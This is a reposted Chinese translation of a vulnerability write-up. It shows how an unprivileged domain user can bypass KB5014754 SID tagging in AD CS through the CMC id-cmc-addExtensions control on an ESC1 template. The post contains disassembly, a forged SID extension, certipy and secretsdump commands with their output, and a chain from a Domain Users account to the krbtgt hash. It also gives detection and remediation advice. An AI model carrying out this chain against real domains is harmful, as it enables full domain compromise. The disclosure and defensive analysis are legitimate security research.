文章总结: 该文档披露了KB5014754补丁在ADCS的CMC提交路径上存在绕过漏洞。通过id-cmc-addExtensions控制属性,攻击者可绕过SID扩展强制检查,利用ESC1模板从非特权用户提升至域管理员权限。微软已将其标记为非漏洞。建议环境应尽快移除ESC1模板,不能仅依赖补丁。 综合评分: 85 文章分类: 漏洞分析,红队,内网渗透
不存在的 SID:在打完补丁的 AD CS 上绕过 KB5014754 获取域管理员权限
Mohamed Alzhrani Mohamed Alzhrani
securitainment
2026年7月28日 12:50 中国香港
在小说阅读器读本章
去阅读
| 原文链接 | 作者 | | — | — | | https://0xmaz.me/posts/certsrv-id-cmc-addExtensions-KB5014754-bypass/ | Mohamed Alzhrani |
一台完全打过补丁的 AD CS 给我签发了一张客户端认证证书,其中完全没有 szOID_NTDS_CA_SECURITY_EXT。没有请求者 SID——不是我的,也不是任何人的。KB5014754 的全部意义所在的那条扩展,就这样从签发的证书中消失了。
这只是三十秒实验运行中的一行输出,却也是整个发现的全部。这篇文章中其他所有内容——反汇编、两个漏洞、最后的域管理员 TGT——都由此衍生而来。
在你关掉这个标签页之前:是的,这需要一个 ESC1 形态的模板,但这并不意味着这是一个配置错误。KB5014754 被包装为那些你无法立即删除的 ESC1 模板的缓解措施。打上补丁、将强制级别设为 2、你遗留的 ENROLLEE_SUPPLIES_SUBJECT模板就安全了——这是官方承诺,而现在有大量环境正在依赖这一承诺运行。这篇文章表明,在 CMC 提交路径上,这个承诺并不成立。这不是”ESC1 有问题”——大家都知道 ESC1 有问题。而是”你因为还没来得及消灭 ESC1 而部署的那块补丁,并不能保护你。”我在必须说公道话的部分正面回应了这个论点,并附上了对默认模板的对照实验结果作为佐证。
我报告了这个发现。微软将其关闭为“非漏洞”,并告诉我该证书签发行为”按设计运行”。于是我把它重新放回实验室,记录下了每一个字节。
速览
| | |
| — | — |
| 影响 | 非特权域用户 → 域管理员 TGT → krbtgt 哈希 |
| 前提条件 | 一个 ESC1 形态的模板(ENROLLEE_SUPPLIES_SUBJECT、clientAuthEKU、低权限可注册、无 REQUIRE_UPN) |
| 击败的防御 | KB5014754 SID 标记、StrongCertificateBindingEnforcement = 2 |
| 不需要 | EDITF_ATTRIBUTESUBJECTALTNAME2 (这不是 ESC6)、注册代理权限、管理员审批 |
| 厂商状态 | MSRC 案件——关闭为”非漏洞”,无修复 |
| 测试环境 | Windows Server 2019,OS 版本 10.0.17763.8755。CA:certsrv.exe 10.0.17763.8385,策略模块 certpdef.dll 10.0.17763.6893。DC:10.0.17763.8511,StrongCertificateBindingEnforcement = 2。Server 2022 / 2025 未测试——二进制文件中的代码路径看起来相同,但我没有在那里运行过,所以不做此声明。 |
我打算先扎实地铺垫背景。如果你已经深谙 AD CS 内部机制,可以直接跳到原语。
证书如何变成一次登录
PKINIT 是用证书代替密码进行 Kerberos 预认证。你向 KDC 出示一张证书,证明你持有私钥,KDC 就为你出示的证书所代表的安全主体颁发一个 TGT。整件事取决于 KDC 必须回答的一个问题:这张证书对应哪个账户?
多年来,答案是”从 SAN(主体可选名称)中读出 UPN,然后用该 UPN 查找账户。”这就是软肋所在。如果你能让 CA 给你签发一张 SAN 为 administrator@domain的证书,而 KDC 按 UPN 映射身份,你就是 administrator。这就是 ESC1 的核心:一个具有 ENROLLEE_SUPPLIES_SUBJECT、clientAuth能力 EKU、低权限用户可注册的模板。你自己提供 SAN,你填入 administrator,你以 administrator 身份进行 PKINIT。搞定。
Certifried 与本应终结一切的补丁
CVE-2022-26923(Certifried)和 ESC1 家族迫使微软出手。修复随 KB5014754发布,其中关键的一半存在于一条新的证书扩展中:
szOID_NTDS_CA_SECURITY_EXT = 1.3.6.1.4.1.311.25.2
思路很清晰。当 CA 签发证书时,它将请求者自身的 SID盖入该扩展。不是 SAN 声称的那个身份的 SID,而是实际向 CA 认证的那个账户的 SID。然后在 KDC 侧,你设置 StrongCertificateBindingEnforcement:
-
0禁用,
-
1兼容模式,警告但允许,
-
2完全强制。
在 2级别下,KDC 从该扩展中提取 SID 并与 SAN 映射到的账户进行比对。你随便伪造一个 administrator的 SAN,扩展里携带的仍然是你的RID,KDC 看到不匹配,就会拒绝请求。纸面上,只要 CA 和 DC 打了补丁且强制级别为 2,ESC1 就已死亡。
那句”纸面上”承担了极大的工作量。
原语:CMC 与 id-cmc-addExtensions
大多数人以普通 PKCS#10 CSR 提交证书请求。但 AD CS 还会说 CMC(基于 CMS 的证书管理,RFC 5272),这是一种更丰富的封装格式,将你的 CSR 包裹在一个签名的 CMS 结构中,允许你在其中附带控制属性。
其中一个控制属性是 id-cmc-addExtensions:
id-cmc-addExtensions = 1.3.6.1.5.5.7.7.8
其文档化的用途是允许注册机构代表注册者向请求添加 X.509 扩展。可以把它想象成一条旁路信道,说的是”另外,把这些扩展放进签发的证书里”。该控制属性引用一个 body part(你的 CSR)并携带一组要嫁接上去的扩展列表。
那个引发这一切的有趣问题很简单:当我通过 id-cmc-addExtensions推送扩展时,CA 是否会将它们通过与注册者自行提供的请求扩展所使用的相同的允许列表?还是说那是一条不同的、更不谨慎的代码路径?
是一条不同的、更不谨慎的代码路径。代码如下。
逆向工程,第一部分:certsrv.exe 的允许列表缺口
以下所有内容均来自直接从运行中的 CA 上提取的 certsrv.exe:Server 2019,certsrv.exe 10.0.17763.8385,镜像基址 0x140000000(从 PE 头确认)。分析工具为 Ghidra。本节中的每个地址都来自这一个镜像。
certsrv.exe通过一个分发器处理所有请求扩展——FUN_14002b090。它做的第一件事就是对调用方提供的标志位进行掩码并分支:
// FUN_14002b090 — 请求扩展分发器
uVar15 = param_2 & 0xf0000; // 只保留标志的第 16..19 位
if (uVar15 == 0x50000) {
// 允许列表 A — CA 续订扩展集
// AIA (1.3.6.1.5.5.7.1.1), CDP (2.5.29.31), AKI (2.5.29.35),
// SKI (2.5.29.14), CAVersion (1.3.6.1.4.1.311.21.1)
} else {
if (uVar15 != 0x90000) goto LAB_14002b198; // <-- 漏洞所在
// 允许列表 B — 仅 SKI (2.5.29.14)
}
// 扩展在允许列表上,按列表处理
LAB_14002b198:
// 扩展不在任何允许列表上 — 但仍然继续往下走,
// 下游最终还是会到达 SetCertificateExtension
如果你更喜欢看原始指令,同样的事情:
14002b0dd: AND R15D, 0xf0000 ; mask = flag & 0xf0000
14002b0e4: CMP R15D, 0x50000 ; 允许列表 A?
14002b0eb: JNZ 0x14002b13f
14002b13f: CMP R15D, 0x90000 ; 允许列表 B?
14002b146: JNZ 0x14002b198 ; 都不是 -> 跳过两个列表
...
14002b198: [扩展处理]
14002b287: CALL 0x140045ef4 ; ICertServerPolicy::SetCertificateExtension
所以分发器只认识两个允许列表世界:0x50000和 0x90000。这些位上的任何其他值,它根本不会查询任何列表。它只是将扩展一路传递给 SetCertificateExtension。
现在找到 id-cmc-addExtensions的调用方。CMC 控制处理器——FUN_140030a30,它用 strcmp将传入的控制 OID 与 "1.3.6.1.5.5.7.7.8"进行比较——处理 addExtensions 属性并以一个硬编码标志调用分发器:
// FUN_140030a30 — id-cmc-addExtensions 处理器,OID 匹配时:
FUN_14002b090(param_1, 0x80002, extensions, count); // 调用在 0x140030b43
做分发器做的那道算术:
0x80002 & 0xf0000 = 0x80000
0x80000 != 0x50000 -> 不是允许列表 A
0x80000 != 0x90000 -> 不是允许列表 B
-> 永远不会检查任何列表
-> 我放入 id-cmc-addExtensions 的每个扩展都直达 SetCertificateExtension
0x80000是分发器从未被教会处理的值。CMC addExtensions 路径没有允许列表。我想要的任何扩展 OID——SAN(2.5.29.17)、EKU、基本约束,以及关键的 szOID_NTDS_CA_SECURITY_EXT(1.3.6.1.4.1.311.25.2)——都会进入签发的证书。
谁被允许签名
你可能以为提交 CMC 控制需要某种特权注册机构证书。并不需要。CMC 消息在 FUN_140030a30运行之前,就在 FUN_14003151c中被解码并验证其签名者(CryptMsgOpenToDecode→ CryptMsgGetAndVerifySigner):
CryptMsgGetAndVerifySigner(hMsg, 0, NULL, 4/* CMSG_SIGNER_ONLY_FLAG */, &pSigner, NULL);
CMSG_SIGNER_ONLY_FLAG验证 CMS 由匹配签名者证书的密钥签名。它不验证签名者的证书链或其用途。certsrv.exe确实要求签名者必须是 CA 自身签发的证书——自签名证书会被以 CERT_E_UNTRUSTEDROOT弹回——但这个门槛低到地面上。任何低权限用户都可以从任何他们能碰到的模板自动注册一张一次性证书,并用它来签名 CMC。我的 PoC 正是用 --auto-signer做的这件事:它遍历模板直到有一个签发,然后用得到的任何证书来签名。在我的 CA 上它落在了 EFS上。
漏洞一,一句话说清楚:certsrv.exe中的 id-cmc-addExtensions路径不应用任何扩展允许列表,而签名者只需要持有任何 CA 签发的证书。仅此一项就让我可以伪造任意 SAN。在未打补丁的世界里,光这一条就是终局。
但我们不是未打补丁。我们有 KB5014754。SID 扩展本应拯救我们。那么它发生了什么?
逆向工程,第二部分:SID 标记在哪里,以及不在哪里
KB5014754 中与此相关的部分是 szOID_NTDS_CA_SECURITY_EXT标记:在签发时,CA 应当将经过认证的调用方的 SID 写入该扩展,如果请求试图夹带自己的副本,则用真实的 SID 覆盖它。那次覆盖就是整个防御。
首先值得说的是哪个二进制文件执行标记,因为我一开始搞错了,是反汇编纠正了我。最明显的嫌疑对象是 certca.dll,即 CA 辅助库。
不在这里。OID 字符串 1.3.6.1.4.1.311.25.2在 certca.dll中任何地方都不出现。唯一存在的邻居是 1.3.6.1.4.1.311.25.1,即复制 OID。certca.dll确实携带的是 SAN 机制:SAN OID 2.5.29.17和 UPN otherName OID 1.3.6.1.4.1.311.20.2.3,连接到一个 SAN 读取器(FUN_180010a78,它 CertFindExtension查找 2.5.29.17并遍历 GeneralNames)和一个逐名称解码器(FUN_18000fb2c,它 strcmp匹配 UPN OID 并提取 UPN 字符串)。certca.dll读取和映射请求上的名称。它从不写入 SID 安全扩展。
SID 标记位于上一层,在默认策略模块 certpdef.dll(CertificateAuthority_MicrosoftDefault.Policy)中——这是运行 VerifyRequest并决定哪些扩展进入签发证书的组件。certpdef.dll确实包含 OID 字符串:1.3.6.1.4.1.311.25.2位于 0x180025590,1.3.6.1.4.1.311.25.2.1(szOID_NTDS_OBJECTSID)位于 0x1800255c0。两者都只被一个函数引用:FUN_180012ee8。那就是 KB5014754 标记写入器。certca.dll提供名称解析原语;certpdef.dll做出标记决策。
这个区别不仅仅是为了整洁。它意味着certca.dll的文件版本号无法告诉你被测试的防御是否存在——这个观点我会在实验部分再回来讲,而且如果你在验证自己的环境,也值得了解。
FUN_180012ee8以两个守卫检查开始,第二个就是整个漏洞:
; certpdef.dll FUN_180012ee8 (SID 标记写入器; RSI = 请求/上下文对象)
180012f2d: TEST dword [RSI+0x14], 0x80000 ; 模板有 CT_FLAG_NO_SECURITY_EXTENSION?
180012f34: JZ 0x180012f4d
180012f42: CALL <log> ; "按照模板配置跳过添加安全
180012f48: JMP 0x18001318c ; 扩展。"
180012f4d: MOV EBX, 0x1
180012f52: TEST byte [RSI+0x18], BL ; <-- bit0: "请求自行提供主体/扩展"
180012f55: JZ 0x180012ffe ; bit0 == 0 -> 生成调用方的 SID
; fall through ; bit0 == 1 -> 信任请求提供的值
追踪两条路径,因为它们恰好就是我的实验结果。
生成路径(bit0 == 0,跳转到 0x180012ffe)是诚实的 KB5014754 行为。它调用 FUN_18000f04c获取经过认证的调用方的 SID 字符串,构建 1.3.6.1.4.1.311.25.2.1内部值,并用 FUN_180003f78写入扩展。这是应该运行的分支。它标记的是你。
信任路径(bit0 == 1,在 0x180012f5b处贯穿)从不生成任何东西。它调用 FUN_180003ed4来读取请求已经携带的扩展:
180012f69: CALL 0x180003ed4 ; 读取请求自带的 1.3.6.1.4.1.311.25.2
180012f70: CMP EAX, 0x80094004 ; 不存在?
180012f75: JNZ 0x180012f7e
180012f77: XOR EBX, EBX ; -> 返回成功,不标记任何内容
180012f79: JMP 0x18001318c
; 否则(存在):清除一个标志位并重新设置请求提供的相同值
对照实验来读。在信任路径上,如果请求没有SID 扩展,函数返回成功且不写入任何内容——签发的证书完全没有 szOID_NTDS_CA_SECURITY_EXT。这就是实验 A,一字不差。如果请求确实携带了 SID,它保留请求提供的值,仅规范化一个标志位。这就是实验 B,一字不差,RID 31337 都一样。这条路径上的任何分支都不会查询经过认证的调用方的 SID。
哪条路径运行完全由 [RSI+0x18]的 bit 0 决定。调用方——FUN_18001164c,即 VerifyRequest扩展管道,在 0x180011852处调用标记写入器——基于同一个位进行分支:
if ((*(uint *)(param_1 + 0x18) & 1) == 0) {
FUN_18000e3d4(...); // 正常路径:派生请求者身份扩展
...
} else { // 请求自行提供的路径
FUN_180012780(...);
FUN_180012ee8(...); // -> 标记写入器走信任分支
}
这个位就是”请求自行提供主体和扩展”的上下文——注册者自行提供主体的世界。设置它,certpdef.dll就跳过派生你的身份,直接信任请求,既信任主体也信任 SID 安全扩展。一个 ESC1 模板(ENROLLEE_SUPPLIES_SUBJECT,无 REQUIRE_UPN)通过 MS-ICPR 提交恰好落在该分支上。携带 REQUIRE_UPN的模板不会,这正是为什么攻击在 User/Administrator上失败而在 VulnTemplate上存活的原因。
整个缺陷一句话说清楚:在注册者自行提供主体的路径上,KB5014754 的 SID 标记不是由 CA 生成的——而是从请求中复制的,而漏洞一让我可以在请求中放入任何我想要的东西。
现在让我展示它在真实硬件上以三种方式触发。
实验环境
没有特别的东西。一个域、一个 CA、一个 DC,加一个无名用户。
DC01 192.168.0.110 Server 2019 17763.8511
SRV03 192.168.0.123 企业 CA SILENTSTRIKE-SRV03-CA
攻击者 cmctest / <已隐去>
SID S-1-5-21-12494900-2147801102-4061876462-1135
组:Domain Users,仅此而已
目标 administrator
SID S-1-5-21-12494900-2147801102-4061876462-500
三个前提条件,所有人都希望看到证据而非断言,所以这里给出证据。
DC 处于完全强制模式。从注册表读取,不是凭信任:
PS C:\>Get-ItemProperty'HKLM:\SYSTEM\CurrentControlSet\Services\Kdc'`
-Name StrongCertificateBindingEnforcement
StrongCertificateBindingEnforcement : 2
CA 携带了正常工作的 KB5014754 策略模块。这个版本才重要,因为 certpdef.dll——而非 certca.dll——才是执行 SID 标记的模块(第二部分走过了反汇编):
certpdef.dll 10.0.17763.6893 <- 执行 SID 标记的模块
certsrv.exe 10.0.17763.8385
我不要求你信任一个版本字符串。标记在这个 CA 上确实在运行:将同样的注入指向一个非注册者自行提供主体的模板(Machine),CA 就会用请求者的真实 SID 覆盖我注入的 SID(见下文)。防御存在且有效——CMC-ADDEXT 专门在注册者自行提供主体的路径上绕过了它。这比一个版本号难推脱得多,而且这才是真正重要的证据。
一条注记,因为我在初稿中搞错了:不要用
certca.dll的文件版本来证明”已打补丁”。certca.dll只解析名称,从不写入 SID 扩展(第二部分)。它的版本号对被测试的防御是否存在没有任何指示意义。Windows 对这些组件 DLL 的版本标记也很奇怪——FileVersion字符串资源可能显示10.0.17763.1,而真正的服务版本在数字字段中——所以引用数字版本,更好的做法是证明行为。
这不是 ESC6。EDITF_ATTRIBUTESUBJECTALTNAME2(0x40000)未设置——EditFlags为 0x11014e。这不是 san:请求属性的把戏。SAN 通过 CMC 控制注入,在 certsrv.exe层,在任何 EditFlags 逻辑运行之前。
模板 VulnTemplate是一个普通的 ESC1 模板:
msPKI-Certificate-Name-Flag : 1 (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN 未设置
msPKI-RA-Signature : 0 (不需要注册代理签名)
pKIExtendedKeyUsage : 1.3.6.1.5.5.7.3.2 (客户端认证)
1.3.6.1.5.5.7.3.1 (服务器认证)
DACL : Domain Users -> Enroll
是的,这就是 ESC1。补丁的意义就是让这个模板变得安全。那就来看看是不是。
决定一切的三个实验
PoC(cmc_addext_poc.py)手工构建 CMC:新建 RSA 密钥、一个带 CN=CMC Test的普通 CSR,然后是一个 id-cmc-addExtensions控制携带我要嫁接的扩展,用自动注册的一次性证书签名,通过 MS-ICPR 提交。之后我用一个独立的脚本解析已签发的证书,因为我不信任 PoC 来给自己的作业打分,你也不应该。
三次运行中唯一的变量是我注入了什么。整个论证就体现在那一列中。
实验 A:伪造 SAN,不注入 SID
--inject-upn [email protected] (仅此一项)
已签发证书,RequestId 855,独立解析:
SAN_UPN = [email protected]
NTDS_SID = 不存在 (证书中完全没有安全扩展)
再读一遍。一台打过补丁的 CA,收到来自 cmctest的请求,签发了一张完全没有 szOID_NTDS_CA_SECURITY_EXT的证书。它没有标记我的 SID,也没有标记任何人的 SID。KB5014754 全部意义所在的那条扩展就是不在这里。
这是唯一重要的事实,也是微软结案声明中说不可能的事实。
实验 B:伪造 SAN,注入一个不属于任何人的 SID
--inject-upn [email protected]
--inject-sid S-1-5-21-12494900-2147801102-4061876462-31337 (RID 31337,不存在此账户)
已签发证书,RequestId 858,独立解析:
SAN_UPN = [email protected]
NTDS_SID = S-1-5-21-12494900-2147801102-4061876462-31337 [ASCII]
我要求的是 RID 31337,一个不存在的账户,证书出来就带着 RID 31337。CA 没有纠正它,也没有替换成 cmctest的真实 RID 1135。它打印了我告诉它的任何东西。SID 字段完全由我控制。
在 A 和 B 之间,机械层面上案件已定论。在这条路径上 CA 不写入自己的 SID(A),且忠实地携带我交给它的任何 SID(B)。再也没有什么可以”识别请求用户”的了。
实验 C:伪造 SAN,注入管理员的真实 SID
现在只需瞄准。administrator 的 UPN,administrator 的 SID。
--inject-upn [email protected]
--inject-sid S-1-5-21-12494900-2147801102-4061876462-500
已签发证书,RequestId 851,序列号 1e000003534a058e882dc84038000000000353。安全扩展的原始字节,因为到这一步你应该看到真正的 DER:
30 3d a0 3b 06 0a 2b 06 01 04 01 82 37 19 02 01
a0 2d 04 2b 53 2d 31 2d 35 2d 32 31 2d 31 32 34
39 34 39 30 30 2d 32 31 34 37 38 30 31 31 30 32
2d 34 30 36 31 38 37 36 34 36 32 2d 35 30 30
-> SEQUENCE { [0] { OID 1.3.6.1.4.1.311.25.2.1 (szOID_NTDS_OBJECTSID)
[0] OCTET STRING "S-1-5-21-...-500" } }
解析结果:
SAN_UPN = [email protected]
NTDS_SID = S-1-5-21-12494900-2147801102-4061876462-500 [ASCII]
一张证书,由完全打过补丁的 CA 签发给 Domain Users 的成员,其 SAN 写着 administrator,其 KB5014754 SID 扩展也写着 administrator。一对匹配的值。正是补丁存在所要阻止的伪造。
兑现
KDC 只关心这一对是否一致。它是一致的。
$ certipy auth -pfx forged_admin.pfx -password addext \
-dc-ip 192.168.0.110 -domain silentstrike.io -username administrator
[*] 证书身份:
[*] SAN UPN: '[email protected]'
[*] 安全扩展 SID: 'S-1-5-21-12494900-2147801102-4061876462-500'
[*] 使用主体: '[email protected]'
[*] 尝试获取 TGT...
[*] 已获取 TGT
[*] 尝试检索 'administrator' 的 NT 哈希
[*] 已获取 '[email protected]' 的哈希:
aad3b435b51404eeaad3b435b51404ee:<已隐去>
“已获取 TGT。”在强制级别 2下。
然后是 MSRC 书面问我是否真的能演示完整域沦陷的部分。用恢复的哈希复制 krbtgt:
$ secretsdump.py -hashes :<已隐去> \
silentstrike/[email protected] -just-dc-user krbtgt
[*] 使用 DRSUAPI 方法获取 NTDS.DIT 机密
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<已隐去>:::
[*] 已获取 Kerberos 密钥
krbtgt:aes256-cts-hmac-sha1-96:<已隐去>
krbtgt 哈希从 DC 中取出。黄金票据横扫整个林的地界。cmctest,RID 1135,什么组的成员都不是,现在拥有了这个域。(哈希已隐去——这是一次性实验室,但没必要给每个威胁情报爬虫喂一个真实的 krbtgt。)
flowchart TD
A["cmctest (RID 1135, Domain Users)"] --> B["自动注册一次性证书 (EFS) 用于签名 CMC"]
B --> C["id-cmc-addExtensions: 注入 SAN=administrator + SID=500<br/>标志 0x80002 & 0xf0000 = 0x80000, 无允许列表"]
C --> D["打过补丁的 CA 签发证书, 从不标记请求者 SID"]
D --> E["PKINIT: 匹配的 UPN+SID -> Administrator TGT + NT 哈希"]
E --> F["DCSync krbtgt -> 完整域沦陷"]
必须说公道话的部分
这里有一个诚实的微妙之处,我宁愿自己说也不愿让别人替我说。这需要一个 ESC1 形态的模板存在:ENROLLEE_SUPPLIES_SUBJECT、clientAuthEKU、低权限可注册权限、且没有 REQUIRE_UPN。默认发布的模板没有一个具有这种形态——内置的 clientAuth 模板都携带 REQUIRE_UPN或 REQUIRE_DNS,这会将 SAN 和 SID 拉回到调用方,从而杀死攻击。你需要在环境中有一个 VulnTemplate。
我测试了这条边界而不是断言它,因为这是显而易见的”但在默认模板上能用吗”的问题。一个低权限用户实际能触及的两个默认模板:
-
User,Domain Users 可注册的默认 clientAuth 模板,携带
REQUIRE_UPN。随便注入;策略模块会将 SAN 和 SID 都改写为你。攻击死亡。 -
Machine,因
MachineAccountQuota允许任何 Domain User 创建计算机账户而可达,是 clientAuth 且无REQUIRE_UPN——看起来很有希望。我创建了一个计算机账户,给它设置了dNSHostName,然后对它发射了完全相同的注入(管理员 UPN + 管理员 SID)。签发的证书返回时Subject: CN=mazlab.silentstrike.io,SAN: DNSName=mazlab...——它的REQUIRE_DNS覆盖了我伪造的 UPN——以及决定性地,NTDS SID = ...-1143,即计算机账户自身的 RID,而不是我注入的...-500。Machine不是注册者自行提供主体,所以certpdef.dll走了生成分支并标记了真实的请求者。在 SAN 和 SID 两方面都被阻止了。
所以信任分支确实由注册者自行提供主体位控制,唯一落在它上面的就是 ESC1 形态的模板。微软正是借助这一点将整个事情称为配置问题。
这又把我们带回到我开篇提出的论点。如果故事到”ESC1 存在”就结束了,那没问题——那是一个配置错误,大家都同意,去删掉模板。但 KB5014754 不是作为模板卫生的附带品发布的。它被发布,并被文档化,作为让遗留的 ENROLLEE_SUPPLIES_SUBJECT模板在你推进删除期间可生存的东西。这就是为什么自 2022 年以来每一份加固指南都将强制级别 2列为目标状态。环境们是诚实地接受了这笔交易的。
一个在一条提交路径上触发、在另一条路径上默默无效的防御是一个残破的防御。这是服务行为中的代码缺陷,不是客户的配置错误。
MSRC 实际说了什么
我引用原文,因为引用就是重点。
评审中期,案件经理写道:
“确实有可能获得一张 SAN 设为 ‘Administrator’ 的证书。然而,该证书还包含一个标识请求用户的 SID 扩展。当 SAN 和 SID 引用不同身份时,Kerberos 映射预计会失败,证书将被拒绝。”
实验 A:证书不包含任何标识请求用户或任何人的 SID 扩展。实验 B:我选择 SID,它不是请求用户,也没有任何东西被拒绝。这个前提在这条路径上事实性地错误,只需两次三十秒的运行就能证明。
数月后的结案裁决:
“本提交被评估为非漏洞……报告的证书签发行为按设计运行。根据文档化的 AD CS 设计,当证书模板不要求注册者提供主体时,CA 从目录信息派生证书主体,并包含含有请求者 SID 的安全扩展,除非被专门抑制。”
注意那个破绽。那一段描述的是注册者不提供主体的模板。我的模板设置了 ENROLLEE_SUPPLIES_SUBJECT——注册者绝对提供了主体。这份拒绝描述的是一个与 PoC 中不同的模板类别。无论他们复现的是什么,都不是这个。
我不会假装时间线没有刺痛我。两个案件编号,一句”我们需要有效的 PoC”,一段完整的端到端录制视频发出去了,数周的”工程师们还在处理积压”,然后是一份结案,其陈述的理由被我自己的两次对照实验所推翻。我理解分诊是消防水龙。但”按设计”是一个很强的声明,它的门槛应该高于复现错误的模板。
自行复现
论证只有在你能验证时才成立,所以这里是简版。搭建一个实验环境,然后:
- 发布一个模板,设置
msPKI-Certificate-Name-Flag = 1、msPKI-RA-Signature = 0、pKIExtendedKeyUsage中包含clientAuth、且Domain Users有Enroll权限。确认CT_FLAG_SUBJECT_ALT_REQUIRE_UPN未设置。 - 确认 DC 上
StrongCertificateBindingEnforcement = 2,且 CA 的EditFlags中不包含EDITF_ATTRIBUTESUBJECTALTNAME2。 - 以非特权用户身份,仅运行实验 A——伪造 UPN,不注入其他任何东西。
- 用不是我的工具来解析签发的证书。
openssl x509 -text即可;查找1.3.6.1.4.1.311.25.2。
如果扩展不在那里,你就复现了这个发现,可以停了——A 足以证明防御没有运行。B 和 C 只是瞄准。
完整的 CMC 构建器(cmc_addext.py)、独立的证书解析器、三实验运行器和逆向工程笔记都在 GitHub 上:github.com/MazX0p/cmc-addext。去检查我的工作。
检测
如果你无法删除模板,至少可以监控它。注意事件日志能给你什么和不能给你什么。
-
先说坏消息:
4886(请求已接收)和
4887(请求已批准并签发)不显示 CMC 控制 OID。你无法仅从安全日志中过滤id-cmc-addExtensions。要看到控制属性,你需要请求 blob 本身——从 CA 数据库中提取(certutil -view -restrict "RequestID=<n>" -out RawRequest)并解析 CMS。实际做法:对下方更便宜的信号告警,然后对任何触发的项目提取并解析原始请求。 -
身份不匹配才是真正的告警信号。
签发的证书中
Request.RequesterName与 SAN 中的身份没有任何关系,且 Subject CN 与 SAN UPN 不匹配。cmctest请求一张写着administrator的证书就是整个攻击浓缩在一行里。这可以直接查询:certutil -view -restrict "Disposition=20" -out "RequestID,RequesterName,CommonName,SerialNumber"。 -
clientAuth 签发中缺少 SID 扩展。
KB5014754 之后,签发给用户主体但没有
szOID_NTDS_CA_SECURITY_EXT的客户端认证证书在你的环境中应该是异常的。这是实验 A 的直接产物。值得做基线——如果你有很多这样的证书,你就有大量注册者自行提供主体的注册,这本身就是一个发现。 -
与 KDC 关联。
CA 上异常签发后不久,针对特权主体的
4768(通过 PKINIT 获取 TGT)。按证书序列号关联。 -
Certipy 的
find -vulnerable会不管 KB5014754 而标记 ESC1 模板。相信它。补丁并没有让该模板在这条路径上变得安全。
补救措施
按优先级排序:
-
删除 ESC1 模板。
如果一个低权限主体可以注册一个具有
ENROLLEE_SUPPLIES_SUBJECT且无REQUIRE_UPN的clientAuth模板,那才是真正的洞。不管 KB5014754,删掉它。这是今天唯一能完全关闭它的修复。 -
设置
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN在任何你必须保留的
clientAuth模板上。在携带它的模板上,策略模块会在 CMC 控制运行后将 SAN 和 SID 改写为调用方,攻击死亡。这是可靠的变通方案,也是当步骤 1 被应用方阻碍时应该选择的方案。 -
要求管理员审批或 RA 签名
(
msPKI-RA-Signature > 0),使请求进入待处理状态,由人工审查。 -
限制 MS-ICPR
,将 CA 与那些没有业务通过 RPC 注册的网络隔离。减少攻击面,不消除漏洞。
以及真正的修复,只有微软能发布的:
- 教会
certsrv.exe分发器0x80000不是一张通行证,将 CMC 注入的扩展通过一个真正的允许列表——szOID_NTDS_CA_SECURITY_EXT在任何情况下都不应该可以从请求中设置。 - 让
certpdef.dll的FUN_180012ee8无条件走生成分支,在每条签发路径上包括注册者自行提供主体,覆盖请求提供的任何东西。信任分支对于这个特定扩展没有存在的合法理由。
一个你可以通过选择不同的提交动词来绕过的防御不是防御。
时间线
2026-04-10 向 MSRC 初始报告(早期 CMC/CES 案件系列)
2026-05-29 准备新案件,id-cmc-addExtensions vs KB5014754 SID 标记
2026-06-10 提交完整端到端 PoC + 录制视频 + 工具
2026-06-11 MSRC 案件 121785 开启
2026-06-17 "评估未完成,我们会联系你"
2026-06-27 "工程师们还在处理积压"
2026-07-22 关闭:"非漏洞 ... 按设计运行"
2026-07-27 在完全打过补丁的实验环境上重新验证端到端。本文章。
我发布是因为案件已关闭,不会有修复,而我认为这个评估是错误的,它让人们在以为受到保护的同时实际上暴露在外。
结语
这里没有任何理论性的东西。一个 Domain Users 的成员、一台打过补丁的 CA、一台在完全强制模式下的打过补丁的 DC,以及另一端的一个 krbtgt 哈希。三个对照实验就是整个论证,你们任何有实验环境的人都可以在一个下午运行它们并看到和我一样的输出。
如果你是 MSRC 方面的人在读这篇:复现方法是一个设置了 ENROLLEE_SUPPLIES_SUBJECT且没有 REQUIRE_UPN的模板,通过 MS-ICPR 提交,SID 通过 id-cmc-addExtensions注入——不是 san:属性。运行实验 A。如果你签发的证书中没有 szOID_NTDS_CA_SECURITY_EXT,我们看到的就是同一个漏洞,它从来不是按设计的。
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Mohamed Alzhrani Mohamed Alzhrani《不存在的 SID:在打完补丁的 AD CS 上绕过 KB5014754 获取域管理员权限》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论